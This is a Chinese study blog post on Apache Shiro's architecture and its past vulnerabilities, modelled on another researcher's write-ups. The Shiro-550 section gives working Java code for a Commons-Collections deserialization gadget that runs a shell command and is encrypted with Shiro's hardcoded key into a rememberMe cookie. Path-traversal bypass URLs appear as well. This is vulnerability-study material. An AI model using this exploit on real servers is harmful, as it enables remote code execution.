目录

学习su18梳理shiro历史漏洞

目录

导言

大概是写到CVE-2020的时候,我找到了更好的研究方式,第一是加入了“漏洞百出”和“赛博回忆录”知识星球,我学习到一些思维上的方式。对目前的我最重要的就是“把漏洞抽象”这件事。以往就是不断地复现,但是对漏洞本质理解,也就是最深层的原因,漏洞抽象成某种模式的思考欠缺。其次是看到大佬的文章有价值的炮灰,他写作的方式就是通过大量阅读(外文文章为主),漏洞也不怎么复现就是看一下漏洞成因和布丁,然后抽象出漏洞利用方式,然后主动去挖漏洞。 所以后面的文章,要快速的复现完。然后去学习一下大佬的思维方式。

前言

本篇为学习篇:

  1. 学习大佬如何学习(su18),主要是模仿他的博客风格进行写作。
  2. 学习shiro漏洞

Authentication:验证用户的身份/登录,用户需要提供系统可以用理解和信任的某种身份证明。您在 Shiro 中所做的几乎所有操作都基于当前执行的用户,称为Subject。您可以轻松地在代码中的任何位置检索Subject。shiro可连接LDAP/AD/JDBC等安全数据源获取Realm,Realm可自定义,可使用一个或多个Realm对用户进行认证,可通过定义配置文件而不用修改源代码。shiro支持RememberMe,以便可以下次记住我。
Authorization:授权功能,也称为访问控制,是确定应用程序中资源的访问权限的过程,即谁可以访问什么。同样基于Subject,支持多种Realms。检测基于角色(role)或者权限(permission),其中使用通配符检测,称之为Wildcard Permissions,使之简单易读。可使用cache。
Session Management:shiro支持会话管理(session),传统上只有web或者EJB环境才支持session。shiro中所有内容都是基于接口的,并使用POJO实现,这允许使用JavaBeans兼容的配置格式(JSON、YAML、Spring XML等)。shiro会话可使用集群。可以有事件监听器,允许监听session生命周期的所有事件,并做出反映。Shiro 会话保留发起会话的主机的 IP 地址。这使您可以确定用户所在的位置并做出相应的反应。Shiro网络部分实现了HttpSession接口,在web应用总使用Shiro无需修改web代码。shiro可以使用sso登录。
Cryptography:shiro集成了密码学。使用公钥或私钥对电子邮件等数据进行加密的密码,以及对密码等数据进行不可逆加密的哈希值
Permissions:一些使用通配符权限(Wildcard Permissions)的实例,简化配置。Shiro支持实例级别的权限控制校验,例如domain:action:instance
Caching:Shiro中的缓存是一个基本功能,但是其实现是由更底层的缓存机制,比如(JBossCache,Hazelcast等),Shiro提供的缓存支持基本上是一个抽象(包装器)api。其提供了三个重要接口CacheManager/Cache/CacheManagerAware

上面是我自己写的,但是书写的过程参考了su18,su18先刷了一下官方文档,我个人觉得,他是有很强的技术功底的,所以文档中的技术点大致能看懂,我个人看可能还需要反应一会,或者去搜索一下。

初识

他根据已知信息先翻了一下源码,找到几个可学习的类,通过这几个类完成了分析一次认证流程

  1. SecurityManager
  2. Subject
  3. Realm

我也根据自己的理解分析了一遍源码,但是分析之后再看了一下su18写的,发现他写的太细致了,很多细节都看到了,然后他还自己动手写了一些类,以便于完善认知更细致的掌握。下面我根据它看源码的思路,自己也写一遍。

SecurityManager

org.apache.shiro.mgt.DefaultSecurityManager 是最shiro的一个核心接口,接口负责了一个Subject(用户)的全部安全操作:

  • 本接口定义了createSubjectloginlogout三个方法用来创建Subject、登录和退出
  • 扩展了org.apache.shiro.authc.Authenticator接口提供了authenticate方法进行认证
  • 扩展了org.apache.shiro.authz.Authorizer接口,提供了对Permission和Role的校验方法。包括has/is/check相关命名的方法
  • 扩展了org.apache.shiro.session.mgt.SessionManager接口,提供了startgetSession方法用来创建可获取会话

shiro为securitymanager提供了一个默认的实现类org.apache.shiro.mgt.DefaultSecurityManager,同时实现了相关功能。 DefaultSecurityManager中包含如下属性

  • rememberMeManager:在Subject与应用程序的会话中记住Subject的标识。
  • subjectFactory:默认使用用DefaultSubjectFactory,来创建Subject实现类
  • sessionManager:默认使用DefaultSessionManager,用于创建,维持和清除所有应用程序会话
  • authorizer:默认使用ModularRealmAuthorizer,为所有给定的Subject提供授权操作
  • authenticator:默认使用ModularRealmAuthenticator,为应用程序中的账户提供身份验证
  • PrincipalCollection,与Subject相关的所有principal的集合。principal只是一个标识属性的安全术语。当Subject第一次创建的时候PrincipalCollection组织所有内部的principals,他们来自于realms。
  • realms,它是一个安全组件,它可以访问特定于应用程序的安全实体,如用户、角色和权限,以确定身份验证和授权操作。包括CasRealm、JdbcRealm等。
  • cacheManager,缓存管理,由用户自行配置,在认证和授权时先经过,用来提升认证授权速度。

Subject

org.apache.shiro.subject.Subject代表应用程序中一个用户的状态,包括认证(登录/注销)、授权(访问控制)和会话访问。是单用户安全的主体。开发人员基本使用SecurityUtils.getSubject()来获取Subject。 通过org.apache.shiro.mgt.DefaultSubjectFactory可知,通过其createSubject函数,其创建的subject类型为DelegatingSubjectDelegatingSubject实现了Subject接口,该接口将方法调用委托给底层SecurityManager实例进行安全检查,它本质上是一个SecurityManager代理。 根据这个类上面的英文描述,DelegatingSubject是一个无状态类,它不维护角色和权限等状态(仅维护Subject主体,如用户名或用户主键),以便在无状态体系结构中获得更好的性能。如果需要缓存等状态,则委托底层的SecurityManager而不是这个类。

Realm

org.apache.shiro.realm.Realm是一个安全组件,它可以访问特定于应用程序的安全实体,如用户、角色和权限,以确定身份验证和授权操作。 Realm通常与数据源(如关系数据库、文件系统或其他类似资源)具有一对一的对应关系。因此,该接口的实现使用特定于数据源的API来确定授权数据(角色、权限等),如JDBC、File IO、Hibernate或JPA,或任何其他数据访问API。它们本质上是特定于安全性的DAO,即对接数据库层的组件。 这些数据源中会包含用户的用户名和密码等信息。其supports函数主要支持认证功能,并提供给上层securityManager使用,该方法可以重写。 可以通过感受JdbcRealm来体会其功能,其继承了org.apache.shiro.realm.AuthorizingRealm 大部分时候继承org.apache.shiro.realm.AuthorizingRealm,只要getAuthorizationInfo方法返回一个AuthorizationInfo,这个实现将自动执行所有角色和权限检查(子类不必编写这个逻辑),其具体逻辑在AuthorizingRealm.getAuthenticationInfo()方法中。

小结

  1. 程序先调用SubjectFactory创建subject,然后获取subject
  2. subject委托给securitymanager
  3. Authorizer.authenticate()调用Realm.getAuthenticationInfo()拿到授权信息AuthenticationInfo,并进行角色(roles)和权限(permission)检查。在调用getAuthenticationInfo的时候是传入token,通过解析token并和数据库进行对比进行基本的登录认证。

总结:这一节我自己写的过程中容易陷入一种“沉迷细节”的陷阱中。看su18还是很擅长总体把控的,既然分析流程,就不会写的太详细,就是介绍一下主要的方法。还有,他会把类的描述,英文信息都看一遍。这看似对漏洞研究帮助不大,但是回过头来,可能对漏洞理解更深刻。 su18把方法,类,接口都用内联代码的形式格式化了,看起来比较舒服。

开发

然后su18开始根据官方demo以及官方文档写demo,如果找到现成的环境更好。 我们先梳理一下文档吧:官方文档 这个文档一整个都在讲配置文件的配置,包括web.xml文件,shiro.ini文件。 文档包括几部分

  1. configuration
  2. DefaultFilters
  3. Enable and Disabling Filters
  4. Session Management
  5. Remember Me Service
  6. JSP/JSF/GSP的一些标签库

比较基础和重要的两个配置

  1. web.xml
  2. shiro.ini

web.xml

其中要区分开来shiro1.1以及之前版本和shiro1.2以及之后版本。shiro对其结构进行了整体变更。 shiro1.1及之前 web.xml需要使用如下过滤器对web进行配置。默认使用/WEB-INF/shiro.ini进行shiro配置

<filter>
    <filter-name>ShiroFilter</filter-name>
    <filter-class>org.apache.shiro.web.servlet.IniShiroFilter</filter-class>
</filter>

<!-- ... -->

<!-- Make sure any request you want accessible to Shiro is filtered. /* catches all -->
<!-- requests.  Usually this filter mapping is defined first (before all others) to -->
<!-- ensure that Shiro works in subsequent filters in the filter chain:             -->
<filter-mapping>
    <filter-name>ShiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
<!-- 下面四个不重要-->
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
    <dispatcher>INCLUDE</dispatcher>
    <dispatcher>ERROR</dispatcher>
</filter-mapping>

如果不想使用/WEB-INF/shiro.ini,则通过如下配置修改shiro.ini文件名

<filter>
    <filter-name>ShiroFilter</filter-name>
    <filter-class>org.apache.shiro.web.servlet.IniShiroFilter</filter-class>
    <init-param>
        <param-name>configPath</param-name>
        <param-value>/WEB-INF/anotherFile.ini</param-value>
    </init-param>
</filter>

shiro1.2之后

<listener>
    <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
</listener>

<!-- ... -->

<filter>
    <filter-name>ShiroFilter</filter-name>
    <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>ShiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
    <dispatcher>INCLUDE</dispatcher>
    <dispatcher>ERROR</dispatcher>
    <dispatcher>ASYNC</dispatcher>
</filter-mapping>

EnvironmentLoaderListener会自动寻找shiro.ini配置,org.apache.shiro.web.servlet.ShiroFilter希望对所有的web请求进行过滤

然后su18开始看代码了,那我们也去梳理一下这块的代码。毕竟这是最接近web的逻辑,可以完善我们对于整体链条的认知。我们就看1.2版本之后的shiro。

首先是org.apache.shiro.web.env.EnvironmentLoaderListener 其继承了ServletContextListener,并实现其定义的两个方法contextInitializedcontextDestroyed。监听器模式我们熟悉,监听器监听某个Event,当应用程序发出对应的Event的时候,监听器会执行相应的方法。上述两个方法分别在ServletContext创建完成和销毁完成之后被通知执行。其本来的目的是在到达HttpServletdoGet或者doPost之前完善我们的应用容器,在其中添加一些我们业务需要用到的内容。如何使用可参考这篇文章initEnvironment方法内部,我们调用EnvironmentLoader创建了一个唯一的WebEnvironment,该WebEnvironment则是通过读取我们配置的shiro.ini获取到的一个IniWebEnvironment类型的类。

其次看一下org.apache.shiro.web.servlet.ShiroFilter

  • ShiroFilter:实现了AbstractShiroFilter的init方法
  • AbstractShiroFilter:一个抽象的shiro过滤器,期望其子类实现init方法,实现特定于配置的逻辑(INI、XML、.properties等)
  • OncePerRequestFilter:保证每个请求只在任何Servlet容器上执行一次
  • NameableFilter:可设置名称的Filter
  • AbstractFilter:简化了过滤器初始化和对初始化参数的访问,但是FilterChain执行逻辑doFilter方法留给子类实现,也就是OncePerRequestFilter

当一个请求过来时,会从Tomcat的ApplicationFilterChain直接转到OncePerRequestFilter.doFilter然后执行AbstractShiroFilter.doInternalFilter。在这个方法中shiro准备了servletRequest,servletResponse,并且创建了一个Subject,然后让Subjec执行一个回调方法,回调方法中会执行我们的FilterChainFilterChain的类型是ProxiedFilterChain,在getExecutionChain的时候会对其进行初始化,并将全部的过滤链以及匹配路径装入其中。

至此为止大致分析完成,其中提到了过滤链以及匹配路径,这里的配置需要再shiro.ini中完成,我们需要继续翻文档。

shiro.ini

其中最基础的配置项[main], [users], [roles], [urls]

[urls]

我们可以如下填写,这是简化版本,使用Ant-style的路径表达式即可。注意顺序,filter会按照配置文件中的顺序执行。/**代表/路径下的任意路径都会匹配,= 后面的代表使用的过滤器以及用[]包裹的过滤器选项,过滤器之间使用,分割。

[urls]

/index.html = anon
/user/create = anon
/user/** = authc
/admin/** = authc, roles[administrator]
/rest/** = authc, rest
/remoting/rpc/** = authc, perms["remote:invoke"]

官方给出的过滤器简写如下

Filter Name Class
anon org.apache.shiro.web.filter.authc.AnonymousFilter
authc org.apache.shiro.web.filter.authc.FormAuthenticationFilter
authcBasic org.apache.shiro.web.filter.authc.BasicHttpAuthenticationFilter
authcBearer org.apache.shiro.web.filter.authc.BearerHttpAuthenticationFilter
invalidRequest org.apache.shiro.web.filter.InvalidRequestFilter
logout org.apache.shiro.web.filter.authc.LogoutFilter
noSessionCreation org.apache.shiro.web.filter.session.NoSessionCreationFilter
perms org.apache.shiro.web.filter.authz.PermissionsAuthorizationFilter
port org.apache.shiro.web.filter.authz.PortFilter
rest org.apache.shiro.web.filter.authz.HttpMethodPermissionFilter
roles org.apache.shiro.web.filter.authz.RolesAuthorizationFilter
ssl org.apache.shiro.web.filter.authz.SslFilter
user org.apache.shiro.web.filter.authc.UserFilter

[main][main] [users] [roles] 官方文档地址

[main]中可自定义过滤器

[main]
...
myFilter = com.company.web.some.FilterImplementation
myFilter.property1 = value1
...

[urls]
...
/some/path/** = myFilter

shiro1.6之后main中可添加全局过滤器,对所有路由路径进行过滤

[users]

格式如下username = password, _roleName1_, _roleName2_, …, _roleNameN_

[users]
admin = secret
lonestarr = vespa, goodguy, schwartz
darkhelmet = ludicrousspeed, badguy, schwartz

只要定义非空的[users][roles],就会自动触发org.apache.shiro.realm.text.IniRealm实例的创建,并使其在[main]中以iniRealm的名称可用。可以给用户密码加密,并在main中配置iniRealm.credentialsMatcher进行加解密

[roles]

格式如下:rolename = permissionDefinition1, permissionDefinition2, …, permissionDefinitionN 其中每个permissionDefinition可以如下定义type:action:instance

[roles]
# 'admin' role has all permissions, indicated by the wildcard '*'
admin = *
# The 'schwartz' role can do anything (*) with any lightsaber:
schwartz = lightsaber:*
# The 'goodguy' role is allowed to 'drive' (action) the winnebago (type) with
# license plate 'eagle5' (instance specific id)
goodguy = winnebago:drive:eagle5

上面的内容再细致的分析一下深入的链条 getExecutionChain -> AntPathMatchingFilterChainResolver.getChain。其内部逻辑如下 关键在于,他会调用filterChainManager中的filterChains和我们请求的路径逐一匹配,如果匹配成功,则执行filterChainManager.proxy方法,在原Tomcat的filterChain的基础上进行一个代理,返回一个ProxiedFilterChain,其内部的doFilter方法会对shiro的filter进行判断,如果没有的话就执行Tomcat的filterChain

spring

su18进行了进一步的思考,shiro是如何注入spring中的,他想了解这个原理,以便于更彻底的弄清楚。 该部分参考官方文档 shiro可以通过使用shiro-spring包将shiro集成在springboot/springmvc中(此前我们只是将其封装在Tomcat容器中) 他先联想到我们之前分析的ShiroFilter在哪里,它继承自AbstractShiroFilter,找其子类发现一个叫做SpringShiroFilter的类,其逻辑和ShiroFilter几乎一样。他是ShiroFilterFactoryBean的内部私有静态类

总结:su18信息搜索能力很强,庞杂的官方文档,而且是英文的,他能找到哪些信息有用。同时他的信息整合能力很强,庞杂的信息能抓住重点然后以自己的话写出来,形成一个教程的文档。 所以文档要多翻多看。英文要好。 其中前期的文档,我大概看并梳理了两整天,其实在梳理文档之前自己有简单的用过shiro,并复现shiro-550漏洞。如果0基础,光文档大概至少要学习3天的时间。对各个功能模块有一个整体的了解非常重要。

漏洞复现

仔细阅读一下官方给出的历史漏洞描述,截止2023年,shiro一共15个漏洞,一个一个来看。

CVE-2010-3863

漏洞信息

| 漏洞信息 | 详情 | | --- | --- | | 漏洞编号 | CVE-2010-3863 / CNVD-2010-2715 | | 影响版本 | shiro < 1.1.0 & JSecurity 0.9.x | | 漏洞描述 | Shiro 在对请求路径与 shiro.ini 配置文件配置的 AntPath 进行对比前未进行路径标准化,导致使用时可能绕过权限校验。 | | 漏洞关键字 | /./ | 路径标准化 | | 漏洞补丁 | Commit-ab82949 | | 相关链接 | https://vulners.com/nessus/SHIRO_SLASHDOT_BYPASS.NASL https://marc.info/?l=bugtraq&m=128880520013694&w=2 |

漏洞详情

根据官方文档在shiro 1.1 and earlier的时候,web.xml配置使用如下

<filter>
    <filter-name>ShiroFilter</filter-name>
    <filter-class>org.apache.shiro.web.servlet.IniShiroFilter</filter-class>
        <init-param>
        <param-name>configPath</param-name>
        <param-value>/WEB-INF/shiro.ini</param-value>
    </init-param>
</filter>
<filter-mapping>
    <filter-name>ShiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
<filter-mapping>
<dependencies>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.0.0-incubating</version>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
            <version>1.0.0-incubating</version>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>3.1.0</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet.jsp</groupId>
            <artifactId>jsp-api</artifactId>
            <version>2.2</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>commons-logging</groupId>
            <artifactId>commons-logging</artifactId>
            <version>1.2</version>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-api</artifactId>
            <version>1.7.30</version>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-simple</artifactId>
            <version>1.7.30</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.13.1</version>
            <scope>test</scope>
        </dependency>
    </dependencies>

问题出在org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain 其中String requestURI = getPathWithinApplication(request);其内部调用HttpServletRequest.getRequestURI()获取的是浏览器中输入的地址,未经过处理。比如我们访问http://127.0.0.1:8081/xxx/..;/admin/password,那他返回/xxx/..;/admin/password。然后会把这个地址和shiro.ini中的地址进行匹配,匹配到则将相应的filter加入其中。 下面有一个比较全的表,相比较,使用getServletPath()更加安全。

Servlet is mapped as /test%3F/* and the application is deployed under /app.

访问:http://30thh.loc:8480/app/test%3F/a%3F+b;jsessionid=S%3F+ID?p+1=c+d&p+2=e+f#a


Method              URL-Decoded Result           
----------------------------------------------------
getContextPath()        no      /app
getLocalAddr()                  127.0.0.1
getLocalName()                  30thh.loc
getLocalPort()                  8480
getMethod()                     GET
getPathInfo()           yes     /a?+b
getProtocol()                   HTTP/1.1
getQueryString()        no      p+1=c+d&p+2=e+f
getRequestedSessionId() no      S%3F+ID
getRequestURI()         no      /app/test%3F/a%3F+b;jsessionid=S+ID
getRequestURL()         no      http://30thh.loc:8480/app/test%3F/a%3F+b;jsessionid=S+ID
getScheme()                     http
getServerName()                 30thh.loc
getServerPort()                 8480
getServletPath()        yes     /test?
getParameterNames()     yes     [p 2, p 1]
getParameter("p 1")     yes     c d

shiro在使用HttpServletRequest.getRequestURI()的时候没有对特殊字符进行过滤。 我们在flag.jsp前加入./就会导致获取到的uri为/./flag.jsp和shiro.ini中配置的/flag.jsp不匹配,跳入到/**权限,所以绕过相应权限。

漏洞修复

官方修复是在这里加入了一个特殊字符校验。对\``//``/./``/../进行了处理(标准化路径处理)

拓展

我去cwe官网翻了一下,路径遍历的写法目前有这些,但是也逃不过normalize函数的过滤。 专门写一期,路径遍历有很多可学点

CVE-2014-0074

漏洞信息

| 漏洞信息 | 详情 | | --- | --- | | 漏洞编号 | CVE-2014-0074/CNVD-2014-03861/SHIRO-460 | | 影响版本 | shiro 1.x < 1.2.3 | | 漏洞描述 | 当程序使用LDAP服务器并启用非身份验证绑定时,远程攻击者可借助空的用户名或密码利用该漏洞绕过身份验证。 | | 漏洞关键字 | ldap | 绕过 | 空密码 | 空用户名 | 匿名 | | 漏洞补丁 | Commit-f988846 | | 相关链接 | https://stackoverflow.com/questions/21391572/shiro-authenticates...in-ldap https://www.openldap.org/doc/admin24/security.html |

关于漏洞信息去哪里找,这里有几个思路:

  1. cve官网,找相关链接
  2. apache下的去Jira下找
  3. ldap学习:ldap深入学习一下官网

待学习

CVE-2016-4437

su18也写了文章,但是从这个开始,我打算自己分析,不看他写的。然后自己写完再和他的对比一下。

漏洞详情

大名鼎鼎的shiro-550,即硬编码加密的漏洞。为什么叫shiro-550呢,因为apache.shiro的jira官网上这个问题的编号是550。可以在漏洞编号处发现相关地址。

漏洞信息 详情
漏洞编号 CVE-2016-4437/CNVD-2016-03869 /SHIRO-550
影响版本 shiro 1.x < 1.2.5
漏洞描述 利用硬编码的密钥构造rememberMe参数,进行反序列化攻击
漏洞关键字 ldap | 绕过 | 空密码 | 空用户名 | 匿名
漏洞补丁 Commit
相关链接 Shiro 550反序列化漏洞分析

漏洞分析

authc | org.apache.shiro.web.filter.authc.FormAuthenticationFilter |
--- | --- |

从认证过滤器找,登录成功之后会调用onSuccessfulLogin(token, info, loggedIn);这里面是rememberMe赋值的部分

public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
    PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
    //1
    rememberIdentity(subject, principals);
}
//1
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
                   //2
        byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
    //3
    rememberSerializedIdentity(subject, bytes);
}

//2
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
    byte[] bytes = serialize(principals);
    if (getCipherService() != null) {
        bytes = encrypt(bytes);
     }
     return bytes;
}

//3用base64对bytes加密返回给用户

加密的过程是,把principles序列化,然后经过加密,base64返回给客户端。 看一下encrypt函数

protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
        value = byteSource.getBytes();
    }
    return value;
}

可以找到,调用getEncryptionCipherKey()的结果返回如下

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

所有可以将上面的序列化过程反过来调用,即构造恶意对象->硬编码加密->base64,返回给服务器解析。

漏洞修复

发现AesCipherService新增了一个generateNewKey函数,可以发现根据keySize=128随机生成一个key。

拓展

关于shiro-550漏洞,有很多利用的工具,我们可以通过工具进行学习 比如ShiroAttack2,还有哦这个公众号介绍的shiro_tool能更牛一些。但是为了专心于我们的shiro,工具的其他功能暂时先搁置,等之后再去研究。 使用cc11+TemplatesImpl,将序列化好的byte数组递给shiro的编码器,然后搞出来的base64字符串放在rememberMe后面。当然还可以结合内存马,但是我在尝试的过程中,发现Tomcat内存马加进去之后太长了,无法通过浏览器传输,后续可以看看项目中他们怎么做的。

package com.xjjlearning.hack.payloads;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class CC11Template {

    public static byte[] getPayload() throws Exception {
        byte[] bytes = getSimpleTemplatesBytes("open -na Calculator.app");

        byte[][] targetByteCodes = new byte[][]{bytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field f0 = templates.getClass().getDeclaredField("_bytecodes");
        f0.setAccessible(true);
        f0.set(templates,targetByteCodes);

        f0 = templates.getClass().getDeclaredField("_name");
        f0.setAccessible(true);
        f0.set(templates,"name");

        f0 = templates.getClass().getDeclaredField("_class");
        f0.setAccessible(true);
        f0.set(templates,null);

        // 利用反射调用 templates 中的 newTransformer 方法
        InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
        TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
        HashSet hashset = new HashSet(1);
        hashset.add("foo");
        // 我们要设置 HashSet 的 map 为我们的 HashMap
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap hashset_map = (HashMap) f.get(hashset);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array = (Object[])f2.get(hashset_map);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node,tiedmap);

        // 在 invoke 之后,
        Field f3 = transformer.getClass().getDeclaredField("iMethodName");
        f3.setAccessible(true);
        f3.set(transformer,"newTransformer");

        ByteArrayOutputStream bs = new ByteArrayOutputStream();
        ObjectOutputStream os = new ObjectOutputStream(bs);
        os.writeObject(hashset);
        return bs.toByteArray();
    }

    private static byte[] getSimpleTemplatesBytes(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("SimpleTemplates");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody("        try {\n" +
                    "            Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                    "        } catch (Exception ignored) {\n" +
                    "        }");
            CtMethod ctMethod1 = CtMethod.make("    public void transform(" +
                    "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                    "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n" +
                    "    }", ctClass);
            ctClass.addMethod(ctMethod1);
            CtMethod ctMethod2 = CtMethod.make("    public void transform(" +
                    "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                    "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
                    "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n" +
                    "    }", ctClass);
            ctClass.addMethod(ctMethod2);
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
}

package com.xjjlearning.hack;

import com.xjjlearning.hack.payloads.CC11Template;
import org.apache.shiro.crypto.AesCipherService;

import java.util.Base64;

/**
 * created by xjj on 2023/2/4
 */
public class AttackShiro550 {
    public static void main(String[] args) throws Exception {
        byte[] payload = CC11Template.getPayload();
        String p = getShiroPayload(payload);
        System.out.println(p);
    }

    private static String getShiroPayload(byte[] payload) {
        AesCipherService aes = new AesCipherService();
        // org.apache.shiro.web.mgt.CookieRememberMeManager.java为入口点分析
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        return aes.encrypt(payload, key).toString();

    }
}

总结一下,还是没有su18写的认真,感觉是个人能力的问题,也有可能是最近总是精神恍惚注意力不集中。他提到了一个坑点,就是反序列化的时候如果有非java自身的数组,则会报错,而我们使用的InvokerTransformer是比较新版本的CC链,已经去掉了数组的部分。在之前p牛的代码中也提到了这个问题。然后就是他多尝试了一个CB链,这个我之后也尝试了一下,然后成功了。

我发现,他把知道的和不知道的全部以最简洁的形式写出来了,所有信息。比如RememberMeManager的函数,他都用汉语写出来。这样当以后忘记的时候马上就能反应过来。或者他本身是在写教程,所以很详细。他这个是先学习一个面,然后漏洞作为一个点,穿插在组件的逻辑当中。如果只看漏洞,那就是一个点,你没有理解组件本身。所以下一个漏洞,我要从面开始分析。

以及信息搜集的部分,我要自己搜集漏洞信息,写在漏洞详情里面,而不是只赋值粘贴。

CVE-2016-6802

漏洞详情

漏洞信息 详情
漏洞编号 CVE-2016-6802/NVD-2016-6802
影响版本 shiro 1.x < 1.3.2
漏洞描述 1.3.2之前的Apache Shiro允许攻击者绕过预期的servlet过滤器,并通过利用非root的servlet上下文路径获得访问权限
漏洞关键字 绕过 | Context Path | 非根 | /x/../
漏洞补丁 Commit
相关链接 漏洞复现

漏洞分析

我们只需要根据Commit,试着自己分析原因。 commit中修改了WebUtils.java类,我记得在分析第一个漏洞的时候用到了这个类。其新增了normalize方法来标准化contextPath。 org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain这个函数是用来获取为我们shiro过滤链代理的ProxiedFilterChain,而这个函数中调用了WebUtil.getPathWithinApplication方法来获取我们请求的uri。

protected String getPathWithinApplication(ServletRequest request) {
                    //1
    return WebUtils.getPathWithinApplication(WebUtils.toHttp(request));
}
//1
public static String getPathWithinApplication(HttpServletRequest request) {
                         //2
    String contextPath = getContextPath(request);
    String requestUri = getRequestUri(request);
    if (StringUtils.startsWithIgnoreCase(requestUri, contextPath)) {
        // Normal case: URI contains context path.
        String path = requestUri.substring(contextPath.length());
        return (StringUtils.hasText(path) ? path : "/");
    } else {
        // Special case: rather unusual.
        return requestUri;
    }
}
//2
public static String getContextPath(HttpServletRequest request) {
    String contextPath = (String) request.getAttribute(INCLUDE_CONTEXT_PATH_ATTRIBUTE);
    if (contextPath == null) {
        contextPath = request.getContextPath();
    }
    if ("/".equals(contextPath)) {
        // Invalid case, but happens for includes on Jetty: silently adapt it.
        contextPath = "";
    }
    return decodeRequestString(request, contextPath);
}

没有normalize,天哪,他们的位置如此近,但是距离CVE-2010-3863整整隔了6年。。。 根据其修复,他们问题是一样的,但是路径标准化函数这次加在了ContextPath上,只需要下面这样构造就好。

漏洞修复

看了su18写的,发现好像还能挖掘更深层次的原因。看来我想问题还是太简单了。 su18这样提问 > 到这里漏洞原理基本说清楚了,但是有一个需要关注的点是,request.getContextPath() 为什么会返回 "/su18/../shiro",应用程序怎么处理的 Context Path?

过了好几天我又回来写了,我发现正常情况下访问/shiro_war_exploded/flag.jsp ContextPath是/shiro_war_exploded, requestUri是/shiro_war_exploded/flag.jsp这样可以通过判断requestUri的开头是否是ContextPath来进行截取,获取到实际请求的path/flag.jsp

public static String getPathWithinApplication(HttpServletRequest request) {
    String contextPath = getContextPath(request);
    String requestUri = getRequestUri(request);
    if (StringUtils.startsWithIgnoreCase(requestUri, contextPath)) {
        // Normal case: URI contains context path.
        String path = requestUri.substring(contextPath.length());
        return (StringUtils.hasText(path) ? path : "/");
    } else {
        // Special case: rather unusual.
        return requestUri;
    }
}

